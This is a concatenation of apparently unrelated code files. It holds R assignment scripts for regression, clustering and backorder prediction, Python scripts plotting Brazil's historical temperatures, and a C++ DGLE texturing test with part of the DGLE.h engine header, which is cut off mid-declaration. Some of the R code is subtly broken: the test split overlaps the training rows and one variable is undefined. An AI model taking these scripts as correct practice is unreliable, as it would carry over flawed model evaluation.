library(dummies) x1 <- dummy(train_cat$potential_issue) x2 <- dummy(train_cat$deck_risk) x3 <- dummy(train_cat$oe_constraint) x4 <- dummy(train_cat$ppap_risk) x5 <- dummy(train_cat$stop_auto_buy) x6 <- dummy(train_cat$rev_stop) x7 <- dummy(train_cat$went_on_backorder) train_cat <- NULL train_cat <- cbind(train_sku,x1,x2,x3,x4,x5,x6,x7) #Now dummying the test_cat data as every factor has only 2 levels. library(dummies) x1 <- dummy(test_cat$potential_issue) x2 <- dummy(test_cat$deck_risk) x3 <- dummy(test_cat$oe_constraint) x4 <- dummy(test_cat$ppap_risk) x5 <- dummy(test_cat$stop_auto_buy) x6 <- dummy(test_cat$rev_stop) x7 <- dummy(test_cat$went_on_backorder) test_cat <- NULL test_cat <- cbind(test_sku,x1,x2,x3,x4,x5,x6,x7) #Standardize the train_num and test_num # Now taking the mean and sd of the train_num train_mean <- apply(train_num,2,mean) train_sd <- apply(train_num,2,sd) # Standardizing the train_num std_train <- sweep(sweep(train_num,2,train_mean),2,train_sd,"/") train_standard <- data.frame(cbind(std_train,train_cat)) train_standard$load_time <- train_target_field #train_standard is the final dataset for the train dataset std_test <- sweep(sweep(test_num,2,train_mean),2,train_sd,"/") test_standard <- data.frame(cbind(std_test,test_cat)) test_standard$load_time <- test_target_field #test_standard is the final dataset for the test dataset #Predicting load time from here on model <- lm(formula = load_time ~ ., data = train_standard) summary(model) par(mfrow=c(2,2)) plot(model) # y-hats is predicted value train_model_preds <- predict(object = model, newdata = train_standard) test_model_preds <- predict(object = model, newdata = test_standard) # See for the error metric DMwR::regr.eval(trues = train_standard$load_time, preds = train_model_preds) DMwR::regr.eval(trues = test_standard$load_time, preds = test_model_preds) <file_sep>rm(list=ls(all=TRUE)) #scrape YAHOO for google stock price #install.packages("quantmod") library(quantmod) start <- as.Date("2017-01-01") end <- as.Date("2017-11-01") getSymbols("GOOGL", src = "yahoo", from = start, to = end) #this also works fine #data <- GOOGL["2017-01-01/2017-11-01"] #for extracting dates use index function(library:zoo) dates <- as.data.frame(index(GOOGL)) names(dates) <- c('dates') write.csv(dates,'dates.csv',row.names = F) #extracting GOOGL.Close price from OHLC stock <- as.xts(data.frame(GOOGL = GOOGL[,"GOOGL.Close"])) #change the name of the column names(stock) <- c('close') write.csv(stock,'stock.csv',row.names = F) #merge dates and stock cbind.data.frame(dates,stock)<file_sep>rm(list=ls(all=TRUE)) #read the data data <- read.csv('Cereals.csv',header = TRUE) #EDA head(data) tail(data) str(data) summary(data) #NA values sum(is.na(data)) #NA pattern sapply(data, function(x) sum(is.na(x))) #rows which have NA's along with columns which(is.na(data), arr.ind=TRUE) #check parallel.ipynb for heatmap #total rows nrow(data) #dimension dim(data) #impute NA's names(data) #check mean mean(data$carbo, na.rm = T) mean(data$sugars, na.rm = T) mean(data$potass, na.rm = T) #check median # x = c('carbo','sugars','potass') # x_func <- function(x) { # for (i in x) { # y <- median(x[i], na.rm = T) # return (y) # } # } # x_func(x) #not working median(data$carbo, na.rm = T) median(data$sugars, na.rm = T) median(data$potass, na.rm = T) #mode function getmode <- function(v) { uniqv <- unique(v) uniqv[which.max(tabulate(match(v, uniqv)))] } #check mode getmode(data$carbo) getmode(data$sugars) getmode(data$potass) #so filling Na's with mean/median data$carbo[is.na(data$carbo)] <- mean(data$carbo, na.rm = T) data$sugars[is.na(data$sugars)] <- mean(data$sugars, na.rm = T) data$potass[is.na(data$potass)] <- mean(data$potass, na.rm = T) #try for loop #search for unique values for each column to discriminate whether #a field is numerical or categorical sapply(data,function(x)unique(x)) #shelf, vitamins are factors #convert to factors data$shelf <- as.factor(data$shelf) data$vitamins <- as.factor(data$vitamins) #subset shelf and vitamins as factor dataframe x_factor <- subset(data, select = c('shelf','vitamins')) data$shelf <- NULL data$vitamins <- NULL #dummify x_factor library(dummies) shelf <- dummy(x_factor$shelf) vitamins <- dummy(x_factor$vitamins) #changed all the factors to dummies x_factor <- cbind(shelf,vitamins) #taking the data$names and cbind to x_factor, this becomes a factor dataframe fully. name <- data$name x_factor <- cbind.data.frame(name,x_factor) #drop name from data data$name <- NULL #scale the numerical columns data <- scale(data) #cbind data with x_factor data2 <- cbind(x_factor,data) #----------------------------------Prepared data for clustering----------------------------# #getting this error message repeatledly #Warning message: #In dist(rbind(x1, y1)) : NAs introduced by coercion #I think it's because dummy creates n dummies for n number of factors #but only n-1 factors can explain the last one #so stored the shelf3 and vitamin100 in other variable #and droping them from data2 #tried the above thing, its not helping #maybe its because names are included in the dataset #so I'll try dropping name column from it #but before dropping I'm putting them as rownames so as to #know which all products are clustered together row.names(data2) <- data2$name data2$name <- NULL #the error got removed #distance matrix (type:euclidean) distance <- dist(data2,method = "euclidean") #WARD is a min variance method to find compact clusters fit <- hclust(distance, method="ward.D") #display dendogram plot(fit) fit$merge fit$dist.method #although it's subjective but I'm taking 6 clusters into account groups <- cutree(fit, k=6) #cut tree into 6 clusters groups #showing the total number of cuts rect.hclust(fit, k=6, border="red") mydata_clusters=data.frame(mydata,groups) par(mfrow=c(2,2)) fit2 <-hclust(distance, method="complete") fit3 <- hclust(distance, method="single") fit4 <- hclust(distance, method='average') fit5 <- hclust(distance, method='ward.D2') dev.off() par(mfrow = c(2, 2)) plot(fit2, leaflab = "textlike", main = "Complete", xlab = "") plot(fit3, leaflab = "textlike", main = "Single", xlab = "") plot(fit4, leaflab = "textlike", main = "Average", xlab = "") plot(fit5, leaflab = "textlike", main = "Ward", xlab = "") #finding optimum number of clusters library(factoextra) fviz_nbclust(data2, hcut, method = "wss") #----------------------------K-Means Clustering--------------------------------------------# set.seed(123) fit <- kmeans(data2, 6) fit$withinss fit$betweenss #metric of clusters fit$cluster fit$tot.withinss fit fit$centers #install.packages("factoextra") library(factoextra) fviz_cluster(fit, data2) #append cluster label to actual data frame data2 <- data.frame(data2,fit$cluster) wss <- 0 for (i in 1:15) { wss[i] <- sum(kmeans(data2,centers=i)$withinss) } #the scree plot plot(1:15, wss, type="b", xlab="Number of Clusters", ylab="Within groups sum of squares") fviz_nbclust(data2[,-c(18)], kmeans, method = "wss") #choose the elbow point, that is your number of cluster formed set.seed(123) final_fit_kmeans <- kmeans(data2, 8) #------------------------Cluster Formation on unseen data----------------------------------# #for unseen data compute its distance from all the cluster centroids #and assign it to that cluster that is nearest to it test_datapoint <- data2[sample(1:nrow(data2),1),] closest.cluster <- function(x) { cluster.dist <- apply(fit$centers, 1, function(y) sqrt(sum((x-y)^2))) print(cluster.dist) return(which.min(cluster.dist)[1]) } closest.cluster(test_datapoint) #-----------------------------------Quality check------------------------------------------# library(cluster) distance_matrix <- daisy(x = data2, metric = "euclidean") clust_assignment <- data2$fit.cluster sil_value_hc_mixed <- silhouette(clust_assignment, dist = distance_matrix) plot(sil_value_hc_mixed) # # # # # # #----------------------------------stability check----------------------------------------# set.seed(123) index <- (sample(nrow(data2),.70*nrow(data2))) data3 <- data2[index,] fit6 <- kmeans(data3,3) data3$clusters <- fit6$cluster group1 <- data2$fit.cluster[index] group2 <- data3$clusters #loop through this for n times. #install.packages("fossil") library(fossil) stability_check <- adj.rand.index(group1, group2) stability_check #across samples: avg_stabilitycheck #index value is between 0 and 1, where 1 means the two clustering outcomes match identically. #install.packages("clusteval") library(clusteval) stab_index <- cluster_similarity(group1, group2, similarity = "jaccard", method="independence") stab_index<file_sep>rm(list=ls()) #Read the file. data <- read.csv('BackOrders.csv',header=TRUE) str(data) summary(data) head(data) #Converted a variable to factor data$sku <- as.factor(data$sku) str(data) #Sum of NA's sum(is.na(data)) #to check which column has the highest number of NAs. sapply(data, function(x) sum(is.na(x))) # Just noting things down # If You need NA count of all - table(is.na273(z)) # If you need NA count Column wise - sapply(z, function(x) sum(is.na273(x))) # If you need NA count Row wise - rowSums(is.na273(z)) #Splitting data into train and test without imputing. set.seed(123) rows = seq(1,nrow(data),1) set.seed(123) trainRows = sample(rows,(20*nrow(data))/100) trainRows2 = data[-trainRows,]#this contains 80% data #sample again from these set.seed(123) trainRows3 = sample(rows,(20*nrow(trainRows2))/100) #20% of 80% data train = data[trainRows,] test = data[trainRows3,] # train_sku <- train$sku # test_sku <- test$sku # rm('train_sku','test_sku') # Segregating train in train_num and & train_cat train_cat <- train[,sapply(train,is.factor)] train_num <- train[,sapply(train,is.numeric)] # Segregating test in test_num & test_cat test_cat <- test[,sapply(test, is.factor)] test_num <- test[,sapply(test, is.numeric)] #finding mode function getmode <- function(v) { uniqv <- unique(v) uniqv[which.max(tabulate(match(v, uniqv)))] } sum(is.na(train_num)) #showing 692 NA's #centralImputation on train_cat library(DMwR) #Imputing NAs in train_num with centralImputation train_num <- centralImputation(train_num) getmode(train_num$lead_time) #Imputing mode of train into NA's of test test_num$lead_time[is.na(test_num$lead_time)] <- 8 sum(is.na(test_num)) sum(is.na(train_num)) # rm('train_mean','train_sd') # Now taking the mean and sd of the train_num train_mean <- apply(train_num,2,mean) train_sd <- apply(train_num,2,sd) # Standardizing the train_num std_train <- sweep(sweep(train_num,2,train_mean),2,train_sd,"/") train_standard <- data.frame(cbind(std_train,train_cat)) #train_standard is the final dataset for the train dataset #rm('std_test') std_test <- sweep(sweep(test_num,2,train_mean),2,train_sd,"/") test_standard <- data.frame(cbind(std_test,test_cat)) #test_standard is the final dataset for the test dataset ### Building a basic Logistic Regression Model log_reg <- glm(went_on_backorder~., data = train_standard, family = binomial) summary(log_reg) prob_train <- predict(log_reg, type="response") # By default if no dataset is mentioned, training data is used prob_test <- predict(log_reg, test_standard, type="response") # Predicting on test data library(ROCR) pred <- prediction(prob_train, train_standard$went_on_backorder) perf <- performance(pred, measure="tpr", x.measure="fpr") #Plot the ROC curve using the extracted performance measures (TPR and FPR) plot(perf, col=rainbow(10), colorize=T, print.cutoffs.at=seq(0,1,0.05)) perf_auc <- performance(pred, measure="auc") auc <- perf_auc@y.values[[1]] print(auc) pred_class <- ifelse(prob_train > 0.1, 1, 0) table(train_standard$went_on_backorder,pred_class) #probability values v/s predicted values table prob_val <- predict(log_reg, test_standard, type = "response") preds_val <- ifelse(prob_val > 0.1, 1, 0) table(preds_val) #Manually creating confusion matrix conf_matrix <- table(test_standard$went_on_backorder, preds_val) print(conf_matrix) specificity <- conf_matrix[1, 1]/sum(conf_matrix[1, ]) sensitivity <- conf_matrix[2, 2]/sum(conf_matrix[2, ]) accuracy <- sum(diag(conf_matrix))/sum(conf_matrix) #Use vif to find any multi-collinearity library(car) log_reg_vif = vif(log_reg) log_reg_vif #Improve the model using stepAIC library(MASS) log_reg_step = stepAIC(log_reg, direction = "both") summary(log_reg)
8baffa2ab879d0ac11bfa9fb671b45dbcbaad195
[ "R" ]
9
R
mudit44/Assignments
5e0c8d2969cc5d75143813a86c532dd488e70e7b
e5856131886b83d57a068e58552df7f442ad933a
refs/heads/master
<file_sep># imports import pandas as pd import matplotlib.pyplot as plt import numpy as np from scipy.optimize import curve_fit from plot_erro import plot_erro <file_sep>## src Nesta pasta estão os datasets do artigo, que você pode encontrar nesse link: https://www.kaggle.com/berkeleyearth/climate-change-earth-surface-temperature-data Não estão commitados neste repositorio pois os dados completos possuem o total de 500mb (entretanto o que foi utilizado no artigo seja de 20mb, o que continua considerável não ser commitado :p)<file_sep># imports import pandas as pd import matplotlib.pyplot as plt import numpy as np from scipy.optimize import curve_fit from plot_erro import plot_erro data = pd.read_csv('./src/GlobalLandTemperaturesByCountry.csv') brasil = data.where(data.Country == 'Brazil') brasil = brasil.dropna() # removemos os registros vazios brasil.dt = [d.split('-')[0] for d in brasil.dt] # formata a data de yyyy-mm-dd para yyyy brasil_groupby_ano = brasil.groupby('dt') # agrupa os valores por data # preparar exibicao x = [int(dt[0]) for dt in brasil_groupby_ano.dt] # converte o ano de string para int y = brasil_groupby_ano.AverageTemperature.mean() # calcula media das temperaturas em cada ano sigma = brasil_groupby_ano.AverageTemperatureUncertainty.mean() # media do erro no ano plt.scatter(x, y) # adiciona os pontos no grafico plt.title('Temperatura media do Brasil desde 1800') # efetua a exponenciacao do numero pelo # logaritmo natural + parametros de otimizacao def exponenciar(x, a, b, c): return a * np.exp(-b * x) + c # ajuste de curvas dada a nossa funcao e os eixos popt, _ = curve_fit(exponenciar, x, y, p0=(1, 1e-6, 1), maxfev=4000, sigma=sigma) xx = np.linspace(1800, 2020) # cria numeros iguais distribuidos de 1800 ate 2020 yy = exponenciar(xx, *popt) # yy = f(xx), adequados aos params de otimizacao # essa funcao exibe uma linha com um sombreado em volta, representando a margem de erro plot_erro(xx, yy, .05) plt.show() <file_sep># imports import pandas as pd import matplotlib.pyplot as plt import numpy as np from scipy.optimize import curve_fit from plot_erro import plot_erro data = pd.read_csv('./src/GlobalLandTemperaturesByCountry.csv') print(data.info()) <file_sep># imports import pandas as pd import matplotlib.pyplot as plt import numpy as np from scipy.optimize import curve_fit from plot_erro import plot_erro data = pd.read_csv('./src/GlobalLandTemperaturesByCountry.csv') brasil = data.where(data.Country == 'Brazil') print(brasil.sample(10)) <file_sep>"""Modulo que exibe um grafico de uma linha exponencial com margem de erro Baseado de https://tonysyu.github.io/plotting-error-bars.html """ from numpy import isscalar import matplotlib.pyplot as plt def plot_erro(x, y, y_erro, cor='green', alpha_fill=0.3, ax=None): """ x: vetor-like que representa o eixo x y: vetor-like que representa o eixo y y_erro: vetor-like ou float scalar 0-1 que representa o erro da linha alpha_fill: transparencia do contorno de erro ax: instancia de eixos na figura """ ax = ax if ax is not None else plt.gca() if isscalar(y_erro) or len(y_erro) == len(y): ymin = y - y_erro ymax = y + y_erro elif len(y_erro) == 2: ymin, ymax = y_erro ax.plot(x, y, color=cor) ax.fill_between(x, ymax, ymin, color=cor, alpha=alpha_fill) <file_sep># imports import pandas as pd import matplotlib.pyplot as plt import numpy as np from scipy.optimize import curve_fit from plot_erro import plot_erro data = pd.read_csv('./src/GlobalLandTemperaturesByCountry.csv') brasil = data.where(data.Country == 'Brazil') brasil = brasil.dropna() # removemos os registros vazios brasil.dt = [d.split('-')[0] for d in brasil.dt] # formata a data de yyyy-mm-dd para yyyy brasil_groupby_ano = brasil.groupby('dt') # agrupa os valores por data # preparar exibicao x = [int(dt[0]) for dt in brasil_groupby_ano.dt] # converte o ano de string para int y = brasil_groupby_ano.AverageTemperature.mean() # calcula media das temperaturas em cada ano plt.scatter(x, y) plt.title('Temperatura media do Brasil desde 1800') plt.show()
fcfc4d072e3ffe932332a2e9ee422ee8cf224c20
[ "Markdown", "Python" ]
7
Python
leunardo/medium-analise-dados
d0c73208985d7d92fb724bb4090dbb7b62a03087
9128b2b70e6a994fb0f4b29fb60b95764b50af81
refs/heads/master
<repo_name>k-payl/GL3XRender<file_sep>/_tests/Textured/main.cpp // // Test texturing // #include "GL3XCoreRender.h" #include <DGLE.h> #include <DGLE_CoreRenderer.h> #include <assert.h> using namespace DGLE; DGLE_DYNAMIC_FUNC #define APP_CAPTION "Textured" #define DLL_PATH "..\\..\\..\\DGLE\\bin\\windows\\DGLE.dll" #define MODELS_PATH "..\\resources\\models\\" #define TEXTURES_PATH "..\\resources\\textures\\" #define SCREEN_WIDTH 1000u #define SCREEN_HEIGHT 600u IEngineCore *pEngineCore = nullptr; ICoreRenderer *pCoreRender = nullptr; IRender3D *pRender3D; IRender2D *pRender2D; IRender *pRender; IResourceManager *pResMan; IInput* pInput; IMesh *pMesh1, *pMesh2; ITexture *pTex1, *pTex2, *pTex3; uint uiCounter = 0; uint prevWindowWidth, prevWindowHeight; ITexture *pRenderTarget; ICoreTexture *pRenderTargetCore; void E_GUARDS() { GLenum err = glGetError(); if (err != GL_NO_ERROR) { std::string error; switch (err) { case GL_INVALID_OPERATION: error = "INVALID_OPERATION"; break; case GL_INVALID_ENUM: error = "INVALID_ENUM"; break; case GL_INVALID_VALUE: error = "INVALID_VALUE"; break; case GL_OUT_OF_MEMORY: error = "OUT_OF_MEMORY"; break; case GL_INVALID_FRAMEBUFFER_OPERATION: error = "INVALID_FRAMEBUFFER_OPERATION"; break; } assert(err == GL_NO_ERROR); } } void DGLE_API Init(void *pParameter) { pEngineCore->GetSubSystem(ESS_RENDER, reinterpret_cast<IEngineSubSystem *&>(pRender)); pEngineCore->GetSubSystem(ESS_CORE_RENDERER, reinterpret_cast<IEngineSubSystem *&>(pCoreRender)); pRender->GetRender3D(pRender3D); pRender->GetRender2D(pRender2D); pEngineCore->GetSubSystem(ESS_RESOURCE_MANAGER, reinterpret_cast<IEngineSubSystem *&>(pResMan)); pEngineCore->GetSubSystem(ESS_INPUT, reinterpret_cast<IEngineSubSystem *&>(pInput)); pResMan->Load(MODELS_PATH"plane.dmd", reinterpret_cast<IEngineBaseObject *&>(pMesh2), MMLF_FORCE_MODEL_TO_MESH); pResMan->Load(TEXTURES_PATH"ss_color3.jpg", reinterpret_cast<IEngineBaseObject *&>(pTex2), TLF_GENERATE_MIPMAPS | TLF_FILTERING_ANISOTROPIC); pResMan->Load(MODELS_PATH"h60.dmd", reinterpret_cast<IEngineBaseObject *&>(pMesh1), MMLF_FORCE_MODEL_TO_MESH); pResMan->Load(TEXTURES_PATH"u60_1.jpg", reinterpret_cast<IEngineBaseObject *&>(pTex1), TLF_GENERATE_MIPMAPS | TLF_FILTERING_ANISOTROPIC); pResMan->CreateTexture(pRenderTarget, NULL, 600, 600, TDF_RGB8, TCF_DEFAULT, (E_TEXTURE_LOAD_FLAGS)(TLF_GENERATE_MIPMAPS | TLF_FILTERING_ANISOTROPIC)); pRenderTarget->GetCoreTexture(pRenderTargetCore); pRender3D->SetPerspective(45.f, 0.1f, 100.0f); E_GUARDS(); glewInit(); E_GUARDS(); pCoreRender->SetClearColor(ColorGray()); } void DGLE_API Update(void *pParameter) { // exit by pressing "Esc" key bool is_pressed; pInput->GetKey(KEY_ESCAPE, is_pressed); if (is_pressed) { pEngineCore->QuitEngine(); } ++uiCounter; } void DGLE_API Render(void *pParameter) { // 1 // /* pCoreRender->SetRenderTarget(pRenderTargetCore); pCoreRender->Clear(true, true, false); pRender3D->SetMatrix ( MatrixRotate(static_cast<float>(uiCounter * 0.25), TVector3(0.f, 1.f, 0.f)) * MatrixRotate(static_cast<float>(25 - 180), TVector3(1.f, 0.f, 0.f)) * MatrixTranslate(TVector3(.0f, -0.3f, -3.5f)) * MatrixIdentity() // zero point for all transformations ); pRender3D->BindTexture(pTex1, 0); pRender3D->PushMatrix(); pRender3D->MultMatrix(MatrixScale(TVector3(0.15f, 0.15f, 0.15f))); pMesh1->Draw(); pRender3D->PopMatrix(); GLTexture* tex = static_cast<GLTexture*>(pRenderTargetCore); GLuint tex_id = tex->Texture_ID(); glBindTexture(GL_TEXTURE_2D, tex_id); glGenerateMipmap(GL_TEXTURE_2D); */ // 2 // pCoreRender->SetRenderTarget(nullptr); pRender3D->SetMatrix ( MatrixRotate(static_cast<float>( 0.25), TVector3(0.f, 1.f, 0.f)) * MatrixRotate(static_cast<float>(25), TVector3(1.f, 0.f, 0.f)) * MatrixTranslate(TVector3(.0f, -0.3f, -3.5f)) * MatrixIdentity() // zero point for all transformations ); pRender3D->BindTexture(pTex2, 0); pMesh2->Draw(); uint x, y; pTex2->GetDimensions(x, y); pRender2D->DrawTexture(pTex2, TPoint2(0, 0), TVec2(x/2, y/2)); } // callback on switching to fullscreen event void DGLE_API OnFullScreenEvent(void *pParameter, IBaseEvent *pEvent) { IEvGoFullScreen *p_event = (IEvGoFullScreen *)pEvent; uint res_width, res_height; bool go_fscreen; p_event->GetResolution(res_width, res_height, go_fscreen); if (go_fscreen) { prevWindowWidth = res_width; prevWindowHeight = res_height; pEngineCore->GetDesktopResolution(res_width, res_height); p_event->SetResolution(res_width, res_height); } else p_event->SetResolution(prevWindowWidth, prevWindowHeight); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { if (GetEngine(DLL_PATH, pEngineCore)) { if (SUCCEEDED(pEngineCore->InitializeEngine(NULL, APP_CAPTION, TEngineWindow(SCREEN_WIDTH, SCREEN_HEIGHT, false, false, MM_NONE, EWF_ALLOW_SIZEING), 33u, static_cast<E_ENGINE_INIT_FLAGS>(EIF_LOAD_ALL_PLUGINS | EIF_NO_SPLASH)))) { pEngineCore->ConsoleExecute("rnd2d_profiler 2"); pEngineCore->AddProcedure(EPT_INIT, &Init); pEngineCore->AddProcedure(EPT_RENDER, &Render); pEngineCore->AddProcedure(EPT_UPDATE, &Update); pEngineCore->AddEventListener(ET_ON_FULLSCREEN, &OnFullScreenEvent); pEngineCore->StartEngine(); } FreeEngine(); } else MessageBox(nullptr, TEXT("Couldn't load \"") DLL_PATH TEXT("\"!"), TEXT(APP_CAPTION), MB_OK | MB_ICONERROR | MB_SETFOREGROUND); return 0; }<file_sep>/dgle/DGLE.h /** \file DGLE.h \author <NAME> aka DRON \version 2:0.3.5 \date XX.XX.XXXX (c)<NAME> \brief Main DGLE engine header. To use engine you should just include this header to your project. This header is a part of DGLE SDK. */ /** \mainpage DGLE Main Help Page \section intro_sec Introduction - DGLE is a powerful cross-platform engine for 2D/3D games and real-time visualizations. Young, strong and crazy! - DGLE is an open source project and free for use (under the terms of license, see below). - DGLE is based on widely spread open standards, formats and APIs such as OpenGL, OpenAL, OGG Vorbis, Lua, Box2D, Bullet physics, Mono & GTK# e.t.c.. \image html banner.jpg This file is official engine documentation for C++ programmers (DGLE users). This documentation is also suitable for any supported programming language. \section aim_sec The aim of the project The goal of the project is to provide developers with flexible and extendable cross-platform easy-to-learn professional technology, capable of building any 2D/3D games, real-time visualizations, scientific applications etc. It should be easy to make great projects only by using editors and scripts or go deeper and use your programming skills of your favorite language to create really exciting projects. Users can also add new formats and functionality by creating new plugins for engine and share them with others over the web or just get plugins already made by others. When project is complete it can be easily build for every popular platform. \section gstart_sec Getting started Simple steps to make your first DGLE application. - 1. Include this header ("DGLE.h") to your project. - 2. Connect DGLE namespace to your project (ex. "using namespace DGLE;"). - 3. Paste "DGLE_DYNAMIC_FUNC" macros to your main source file (ex. "main.cpp"). - 4. Declare pointer to IEngineCore class like "IEngineCore *pEngineCore". - 5. Call "GetEngine" function to retrieve IEngineCore pointer. For dynamic library it should be like this "GetEngine("DGLE.dll", pEngineCore);". - 6. Now you can use IEngineCore methods. For example, you can initialize engine like this "pEngineCore->InitializeEngine(NULL, "HelloWorld");". - 7. After engine initialization you should call "pEngineCore->StartEngine();" to start engine. - 8. When you are done with engine don't forget to call "FreeEngine()" routine before exit. Please see "HelloWorld" sample code at the "Examples" tab of this help file. You can browse ".\src\examples" folder or go to "Examples" tab of this manual for further information. \section license_sec License DGLE is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. DGLE is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this program. If not, see http://www.gnu.org/licenses/. \section dev_letter_sec The letter from the developers If you are using DGLE in your project and you like it. Please do not remove DGLE splash screen and paste the link to the official DGLE website in your program credits section or elsewhere. It is the easiest way you can say "Thank you for your work!" to DGLE project developers. Also we would be happy for any donations to support further project development. \section additional_sec Additional help and information Visit official DGLE engine website http://dglengine.org/ for additional information and support. Feel free to write directly to project leader on e-mail <EMAIL>. \example HelloWorld.cpp This is simplest DGLE application for Windows. \note To make this sample work you should copy "DGLE.h" header to your project source directory and place DGLE library file (ex. "DGLE.dll" for Windows) in your project output folder. */ #ifndef DGLE_HEADER #define DGLE_HEADER #define ENABLE_FORCE_INLINE 1 //Compiler compatibility tweaks// #if defined _MSC_VER # define FORCE_INLINE __forceinline # define ENUM_FORWARD_DECLARATION(name) name : uint32 #elif defined __BORLANDC__ # define FORCE_INLINE __inline # ifdef __CODEGEARC__ # define ENUM_FORWARD_DECLARATION(name) name : uint32 # else # define ENUM_FORWARD_DECLARATION(name) name # endif # define sqrtf sqrt # define sinf sin # define cosf cos # define atan2f atan2 # define acosf acos elif defined __clang__ || defined __GNUC__ # define FORCE_INLINE __attribute__((always_inline)) # define ENUM_FORWARD_DECLARATION(name) name : uint32 #else # define FORCE_INLINE inline # define ENUM_FORWARD_DECLARATION(name) name : uint32 #endif #if !ENABLE_FORCE_INLINE #define FORCE_INLINE inline #endif //Engine version defines// /** Defines DGLE version string. \warning Do not edit! */ #define _DGLE_VER_ "2:0.3.5" /** Defines DGLE version integer. \warning Do not edit! */ #define _DGLE_SDK_VER_ 1 /** Defines the current version of plugin SDK. \warning Do not edit! */ #define _DGLE_PLUGIN_SDK_VER_ _DGLE_SDK_VER_ //Platform definition macros// #if defined(_WIN32) || defined(_WIN64) //Platform Windows// #define WINVER 0x0501 #define _WIN32_WINNT 0x0501 #define NOMINMAX #include <Windows.h> /** Internal engine define, shows that target platform is Windows.*/ #define PLATFORM_WINDOWS /** If defined, all interfaces will be derived from IUnknown for compatibility with Microsoft COM technology. */ #define DGLE_USE_COM /** Define calling convention used by engine. */ #define DGLE_API APIENTRY /** If defined, all structures will be aligned by 1 byte. */ #define STRUCT_ALIGNMENT_1 #else//_WIN32 or _WIN64 //Unknown platform// #error Unknown platform! #endif #include "DGLE_Types.h" /** Engines main namespace. */ namespace DGLE { //Engine Base interface// // {DFB1F52B-D906-4108-AD6F-3144E224688A} static const GUID IID_IDGLE_Base = { 0xdfb1f52b, 0xd906, 0x4108, { 0xad, 0x6f, 0x31, 0x44, 0xe2, 0x24, 0x68, 0x8a } }; /** Engine base fundamental interface. Any engine interface must be derived from this interface. \attention On Windows platform IDGLE_Base is derived from IUnknown for more flexibility and compatibility, but DGLE doesn't provides real COM technology. The reference counter is always 1, "Release" and "AddRef" methods are dummies, "QueryInterface" can return pointer only to IUnknown or to the last interface in the inheritance chain. */ class IDGLE_Base #if defined(PLATFORM_WINDOWS) && defined(DGLE_USE_COM) : public IUnknown #endif { public: /** Returns unique identifier of the last interface in the inheritance chain. \param[out] guid Unique interface identifier. \return Always returns DGLE_Types.h::S_OK. */ virtual DGLE_RESULT DGLE_API GetGUID(GUID &guid) = 0; /** Executes some command using its index or bitmask. Commands are specific for concrete interface. All commands should be described in documentation. \param[in] uiCmd Command index or some bitmask. These values must be gotten from documentation. \param[in, out] stVar Variant with additional command parameters and for storing command result. \return E_NOTIMPL indicates that interface has not got any commands. \note If command returns any TVariant with allocated data inside then command with index -1 should delete any allocated memory inside interface. */ virtual DGLE_RESULT DGLE_API ExecuteCommand(uint uiCmd, TVariant &stVar) = 0; /** Executes some text command and returns result as variant. Commands are specific for concrete interface. All commands should be described in documentation. \param[in] pcCommand Pointer to allocated string with command. \param[in, out] stVar Variant with additional command parameters and for storing command result. \return E_NOTIMPL indicates that interface has not got any commands. */ virtual DGLE_RESULT DGLE_API ExecuteTextCommand(const char *pcCommand, TVariant &stVar) = 0; /** Executes some text command and returns result as string. Commands are specific for concrete interface. All commands should be described in documentation. \param[in] pcCommand Pointer to allocated string with command. \param[out] pcResult Pointer to allocated string to accept command result. \param[in, out] uiCharsCount Count of the chars in allocated result string. \return E_INVALIDARG must be returned if allocated string is too small, uiCharsCount will contain required string length. E_NOTIMPL indicates that interface has not got any commands. \note If pcResult for command is NULL then uiCharsCount will contain recommended result string length and command should not be executed. */ virtual DGLE_RESULT DGLE_API ExecuteTextCommandEx(const char *pcCommand, char *pcResult, uint &uiCharsCount) = 0; }; //Engine SubSystem Interface// /** Engine subsystems types. */ enum E_ENGINE_SUB_SYSTEM { ESS_RENDER = 0, /**< Main rendering subsystem. \see IRender */ ESS_INPUT, /**< Input subsystem. \see IInput */ ESS_SOUND, /**< Sound subsystem. \see ISound */ ESS_RESOURCE_MANAGER, /**< Resource manager subsystem. \see IResourceManager */ ESS_FILE_SYSTEM, /**< Main file system(manager of virtual file systems). \see IMainFileSystem */ ESS_CORE_RENDERER /**< Low-level base rendering interface. \see ICoreRenderer */ }; // {C682F875-E0BD-4af9-B79C-E209850025F8} static const GUID IID_IEngineSubSystem = { 0xc682f875, 0xe0bd, 0x4af9, { 0xb7, 0x9c, 0xe2, 0x9, 0x85, 0x0, 0x25, 0xf8 } }; /** Base interface of any engine subsystem. */ class IEngineSubSystem : public IDGLE_Base { public: /** Returns type of subsystem. \param[out] eSubSystemType Type of the subsystem to which you may cast this interface pointer. \return Always returns DGLE_Types.h::S_OK. */ virtual DGLE_RESULT DGLE_API GetType(E_ENGINE_SUB_SYSTEM &eSubSystemType) = 0; }; //Engine Plugin Interface// // {B94E0E40-8885-41dd-8BC5-4CD663AE5709} static const GUID IID_IPlugin = { 0xb94e0e40, 0x8885, 0x41dd, { 0x8b, 0xc5, 0x4c, 0xd6, 0x63, 0xae, 0x57, 0x9 } }; /** Base interface of any engine plugin. */ class IPlugin : public IDGLE_Base { public: /** Returns structure with plugin description. \param[out] stInfo Structure in which plugin description will be stored. */ virtual DGLE_RESULT DGLE_API GetPluginInfo(TPluginInfo &stInfo) = 0; /** Returns the name of interface which plugin implements or empty string if it implements nothing. \param[out] pcName Pointer to allocated string. \param[in, out] uiCharsCount Count of the chars in allocated string. \return E_INVALIDARG must be returned if allocated string is too small. \note If pcName is NULL then uiCharsCount will contain length of the text to allocate. */ virtual DGLE_RESULT DGLE_API GetPluginInterfaceName(char* pcName, uint &uiCharsCount) = 0; }; //Engine Subsystem Plugin Interface// // {27908E31-8D8E-4076-AE33-087A1BE5DCB3} static const GUID IID_ISubSystemPlugin = { 0x27908e31, 0x8d8e, 0x4076, { 0xae, 0x33, 0x8, 0x7a, 0x1b, 0xe5, 0xdc, 0xb3 } }; /** Base interface of any engine core subsystem plugin. */ class ISubSystemPlugin : public IPlugin { public: /** Returns interface of subsystem implemented in this plugin. \param[out] prSubSystem Interface of the subsystem. */ virtual 